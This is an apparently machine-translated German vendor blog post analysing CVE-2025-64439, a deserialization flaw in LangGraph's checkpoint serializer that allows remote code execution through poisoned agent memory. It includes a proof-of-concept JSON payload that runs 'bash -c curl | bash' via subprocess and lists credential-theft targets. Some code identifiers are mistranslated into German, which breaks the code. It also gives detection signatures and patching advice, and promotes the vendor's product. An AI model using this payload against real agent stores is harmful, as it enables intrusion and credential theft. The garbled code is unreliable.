Bußgeld-Kopfzeile

Memory Poisoning: Forensische Analyse von CVE-2025-64439 (LangGraph RCE) und die Fragilität des Agentenstatus

Eine technische Autopsie von CVE-2025-64439 (CVSS 9.8), einem kritischen RCE im Checkpoint Serializer von LangGraph. Wir analysieren den Fehler in der JSON-Deserialisierungslogik, die Kill Chain zum Vergiften des Speichers von KI-Agenten und KI-gesteuerte Verteidigungsstrategien.

In der architektonischen Entwicklung des Jahres 2026, Agentische KI hat sich von experimentellen Jupyter-Notebooks zu einer geschäftskritischen Unternehmensinfrastruktur entwickelt. Frameworks wie LangGraph sind zum Rückgrat dieser Systeme geworden und ermöglichen es Entwicklern, zustandsbehaftete Anwendungen mit mehreren Akteuren zu erstellen, die komplexe Aufgaben anhalten, fortsetzen und wiederholen können.

Allerdings ist die Offenlegung von CVE-2025-64439 (CVSS-Score 9.8, Critical) zeigt eine katastrophale Schwachstelle in dem Mechanismus auf, der diese Agenten "intelligent" macht: ihr Langzeitgedächtnis.

Es handelt sich nicht um eine typische Web-Schwachstelle. Es ist eine nukleare Option für die Lieferkette die auf die KI-Persistenzschicht abzielt. Die Schwachstelle befindet sich in der langgraph-checkpoint Bibliothek - insbesondere in der Art und Weise, wie die JsonPlusSerializer die Datenwiederherstellung. Dadurch können Angreifer böswillige JSON-Nutzdaten in den Statusspeicher eines Agenten (z. B. SQLite, Postgres) einspeisen und so die Entfernte Code-Ausführung (RCE) der Moment, in dem das System versucht, sich an einen früheren Zustand zu "erinnern", um einen Arbeitsablauf wieder aufzunehmen.

Für den hartgesottenen KI-Sicherheitsingenieur ist die Konsequenz eindeutig: Der "Staat" ist der neue "Input". Wenn ein Angreifer die serialisierte Historie eines Agenten beeinflussen kann, kann er beliebigen Code auf dem Inferenzserver ausführen. In diesem Artikel wird der Quellcode analysiert, um die Mechanismen dieser "Memory Poisoning"-Kill-Chain aufzudecken.

Vulnerability Intelligence Card

MetrischIntelligenz Detail
CVE-BezeichnerCVE-2025-64439
Zielkomponentelanggraph-checkpoint (Kernbibliothek) & langgraph-checkpoint-sqlite
Betroffene Versionenlanggraph-checkpoint < 3.0.0; langgraph-checkpoint-sqlite <= 2.1.2
Klasse der AnfälligkeitUnsichere Deserialisierung (CWE-502) führt zu RCE
CVSS v3.1 Bewertung9.8 (Kritisch) (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
AngriffsvektorVergiftung der Checkpoint-DB, Man-in-the-Middle bei der Zustandsübertragung

Technische Vertiefung: Die JsonPlusSerializer Falle

Um CVE-2025-64439 zu verstehen, muss man wissen, wie LangGraph mit Persistenz umgeht. Im Gegensatz zu einem zustandslosen LLM-Aufruf muss ein Agent seine Stack-Variablenwerte, den Gesprächsverlauf und die Ausführungsschritte speichern, damit er später wieder fortfahren kann. Dies wird gehandhabt durch Checkpointers.

LangGraph versucht, die msgpack für Effizienz. Da Python-Objekte in KI-Workflows jedoch häufig komplex sind (benutzerdefinierte Klassen, Pydantic-Modelle), wird ein robuster Rückfallmechanismus implementiert: JSON-Modus, bearbeitet von JsonPlusSerializer.

Memory Poisoning: Forensische Analyse von CVE-2025-64439 (LangGraph RCE) und die Fragilität des Agentenstatus

1. Die fatale "Konstrukteur"-Logik

Die Schwachstelle liegt nicht in der Verwendung von JSON, sondern in wie LangGraph erweitert JSON, um komplexe Python-Typen zu unterstützen. Um ein Python-Objekt aus JSON zu rekonstruieren, sucht der Serialisierer nach einem bestimmten Schema, das "magische Schlüssel" enthält:

  • lc: Der LangChain/LangGraph Versionsbezeichner (z.B., 2).
  • Typ: Der Objekttyp (insbesondere die Zeichenkette "Konstrukteur").
  • id: Eine Liste, die den Modulpfad zur Klasse oder Funktion angibt.
  • kwargs: Argumente, die an diesen Konstruktor übergeben werden.

Der Makel: In den betroffenen Versionen vertraut der Deserialisierer auf die id Feld implizit. Es wird nicht überprüft, ob das angegebene Modul eine "sichere" LangGraph-Komponente oder eine gefährliche Systembibliothek ist. Es importiert das Modul dynamisch und führt den Konstruktor mit den angegebenen Argumenten aus.

2. Forensische Code-Rekonstruktion

Auf der Grundlage der Patch-Analyse wurde die anfällige Logik in langgraph/checkpoint/serde/jsonplus.py ähnelt dem folgenden Muster:

Python

# Vereinfachte verwundbare Logik def _load_constructor(value): # DANGEROUS: Keine allow-list Prüfung auf 'id' # 'id' kommt direkt aus dem JSON Payload module_path = value["id"][:-1] class_name = value["id"][-1]

# Dynamischer Import eines beliebigen Moduls
module = importlib.import_module(".".join(module_path))
cls = getattr(modul, klassen_name)

# Ausführung des Konstruktors
return cls(**wert["kwargs"])`

Diese Logik verwandelt den Deserialisierer in einen generischen "Gadget Chain"-Ausführer, ähnlich dem berüchtigten Java ObjectInputStream Schwachstellen, aber leichter auszunutzen, da die Nutzlast JSON ist, das von Menschen gelesen werden kann.

Die Tötungskette: Vergiftung des Gedächtnisses

Wie kann ein Angreifer dieses JSON in das System einschleusen? Die Angriffsfläche ist breiter, als es scheint.

Phase 1: Injektion (Das Gift)

Der Angreifer muss in die Datenbank schreiben, in der die Kontrollpunkte gespeichert sind.

  • Szenario A (Direkter Input): Wenn der Agent Benutzereingaben akzeptiert, die im Rohzustand gespeichert werden (z. B. "Fassen Sie diesen Text zusammen: [MALICIOUS_JSON]"), und die Serialisierungslogik der Anwendung fehlerhaft ist, kann die Nutzlast in die DB geschrieben werden.
  • Szenario B (SQL Injection Pivot): Ein Angreifer verwendet eine SQL-Injection niedrigeren Schweregrads (wie CVE-2025-8709), um die Kontrollpunkte Tabelle in SQLite/Postgres direkt, indem die RCE-Nutzdaten in die thread_ts oder State Blob.

Phase 2: Bewaffnung (Die Nutzlast)

Der Angreifer konstruiert eine JSON-Nutzlast, die ein gültiges LangGraph-Objekt imitiert, aber auf Unterprozess.

Konzept PoC Nutzlast:

JSON

{ "lc": 2, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["/bin/bash", "-c", "curl | bash"], "shell": false, "text": true } }

Phase 3: Detonation (Der Lebenslauf)

Der Code wird nicht sofort nach der Injektion ausgeführt. Er wird ausgeführt, wenn der Agent liest den Staat.

  1. Der Benutzer (oder Angreifer) veranlasst den Agenten, einen Thread wieder aufzunehmen (z. B. "Vorherige Aufgabe fortsetzen").
  2. LangGraph fragt die DB nach dem letzten Checkpoint ab.
  3. Die JsonPlusSerializer parst den Blob.
  4. Sie stößt auf die Konstrukteur Typ.
  5. Sie importiert Unterprozess und läuft check_output.
  6. RCE Erreicht.

Analyse der Auswirkungen: Der KI-Gehirn-Raub

Die Kompromittierung des Servers, auf dem LangGraph läuft, ist aufgrund der Art der KI-Workloads wesentlich gefährlicher als die eines normalen Webservers.

  1. Credential Harvesting: AI-Agenten verlassen sich auf Umgebungsvariablen für API-Schlüssel (OPENAI_API_KEY, ANTHROPISCHER_API_SCHLÜSSEL, AWS_ACCESS_KEY). RCE gewährt unmittelbaren Zugang zu os.environ.
  2. Vector DB Exfiltration: Agenten haben oft Lese-/Schreibzugriff auf Pinecone, Milvus oder Weaviate. Ein Angreifer kann proprietäre Wissensdatenbanken (RAG-Daten) auslesen.
  3. Modell Gewicht Infektion: Wenn der Server lokale Modelle hostet (z. B. mit Ollama), können Angreifer die Modellgewichte vergiften oder die Inferenzpipeline verändern.
  4. Seitliche Bewegung: LangGraph-Agenten sind dafür konzipiert Dinge tun-APIs aufrufen, Datenbanken abfragen, E-Mails senden. Der Angreifer erbt alle dem Agenten zugewiesenen Berechtigungen und Tools.

KI-gesteuerte Verteidigung: Der sträfliche Vorteil

Die Erkennung von CVE-2025-64439 ist ein Alptraum für ältere DAST-Tools (Dynamic Application Security Testing).

  • Protokollblindheit: Scanner suchen nach HTML-Formularen und URL-Parametern. Sie verstehen nicht die internen Binär- oder JSON-Serialisierungsprotokolle, die von Python-KI-Frameworks verwendet werden.
  • Staatsblindheit: Die Schwachstelle wird ausgelöst durch lesen, nicht schreiben.. Ein Scanner könnte eine Nutzlast einspeisen und keinen unmittelbaren Fehler feststellen, wodurch das Ergebnis falsch-negativ wäre.

Dies ist der Ort, an dem Penligent.ai stellt einen Paradigmenwechsel für die KI-Anwendungssicherheit dar. Penligent nutzt Tiefe Abhängigkeitsanalyse und logisches Fuzzing:

  1. Vollständiges AI-Fingerprinting

Die Agenten von Penligent gehen über das Einfrieren von Pip hinaus. Sie scannen Entwicklungs- und Produktionscontainer, um die genauen Hash-Versionen von langgraph, langchain-core und langgraph-checkpoint zu identifizieren. Sie erkennen die verwundbare Abhängigkeitskette, selbst wenn sie tief in einem Docker-Image verschachtelt ist, und melden das Vorhandensein von JsonPlusSerializer ohne Erlaubnislisten.

  1. Serialisierungsprotokoll-Fuzzing

Penligent versteht die "Sprache der Agenten". Es kann spezifische Sondierungs-Payloads erzeugen, die Serialisierungsmarker enthalten (wie lc=2 und gutartige Konstruktoraufrufe).

  • Zerstörungsfreie Probe: Anstelle einer Reverse Shell injiziert Penligent eine Nutzlast, die eine harmlose DNS-Abfrage auslöst (z. B. mit socket.gethostbyname).
  • Validierung: Wenn der Penligent OOB-Listener die DNS-Abfrage empfängt, wenn der Agentenstatus geladen ist, wird die Schwachstelle mit 100%-Sicherheit bestätigt.
  1. Staatliche Store Auditing

Penligent stellt eine Verbindung zu der von Ihren KI-Agenten verwendeten Persistenzschicht (SQLite/Postgres) her. Es scannt die gespeicherten Blobs auf "Dormant Payloads" - bösartige JSON-Strukturen, die darauf warten, deserialisiert zu werden - und ermöglicht es Ihnen, Ihre Datenbank zu säubern, bevor ein Vorfall eintritt.

Memory Poisoning: Forensische Analyse von CVE-2025-64439 (LangGraph RCE) und die Fragilität des Agentenstatus

Handbuch zur Wiederherstellung und Härtung

Wenn Sie mit LangGraph bauen, ist sofortige Abhilfe erforderlich.

1. Upgrade-Abhängigkeiten (Der Fix)

Upgrade langgraph-checkpoint zur Version 3.0.0 oder höher sofort.

  • Mechanismus: Die neue Version entfernt die Standardunterstützung für die Konstrukteur Typ in der JSON-Serialisierung oder erzwingt eine strenge, standardmäßig leere Erlaubnisliste. Es zwingt Entwickler, sichere Klassen explizit für die Serialisierung zu registrieren.

2. Forensische Datenbankbereinigung

Wenn Sie den Verdacht haben, dass Ihr System gefährdet ist, können Sie nicht nur den Code flicken, sondern müssen auch die Daten bereinigen.

  • Aktion: Skript ein Werkzeug zur Iteration durch Ihre Kontrollpunkte Tabelle. Parsen Sie jeden JSON-Blob.
  • Unterschrift: Suche nach {"Typ": "Konstruktor", "id": ["subprocess", ...]} oder jede id zeigend auf os, sys, oder shutil.
  • Säuberung: Löschen Sie alle Threads/Prüfpunkte, die diese Signaturen enthalten.

3. Netzwerk- und Laufzeitisolierung

  • Egress-Filterung: AI-Agenten sollten keinen uneingeschränkten Zugang zum Internet haben. Blockieren Sie ausgehende Verbindungen zu unbekannten IPs, um Reverse Shells zu verhindern.
  • Datenbank-Isolierung: Stellen Sie sicher, dass die SQLite-Datei oder Postgres-Instanz, in der die Checkpoints gespeichert sind, nicht über öffentliche Schnittstellen zugänglich ist.
  • Least Privilege: Führen Sie den Agentendienst mit einem Benutzer aus, der keinen Shell-Zugriff hat (/bin/false) und streng begrenzte IAM-Rollen.

Schlussfolgerung

CVE-2025-64439 ist ein Weckruf für die KI-Industrie. Wir bauen Systeme, die zunehmend autonom und zustandsorientiert sind, aber wir bauen sie auf einem fragilen Fundament des Vertrauens auf. Das Gedächtnis eines Agenten ist eine veränderbare, waffenfähige Oberfläche.

Auf dem Weg zu AGI-nahen Systemen muss sich auch die Sicherheitstechnik weiterentwickeln. Wir müssen den "Zustand" mit demselben Misstrauen behandeln wie die "Benutzereingabe". Die Validierung der Serialisierungslogik, die Prüfung von Abhängigkeiten und der Einsatz von KI-nativen Sicherheitstools wie Penligent sind nicht länger optional - sie sind die Voraussetzung für das Überleben im Zeitalter der agentenbasierten KI.

Zuverlässige Referenzen

Teilen Sie den Beitrag:
Verwandte Beiträge
de_DEGerman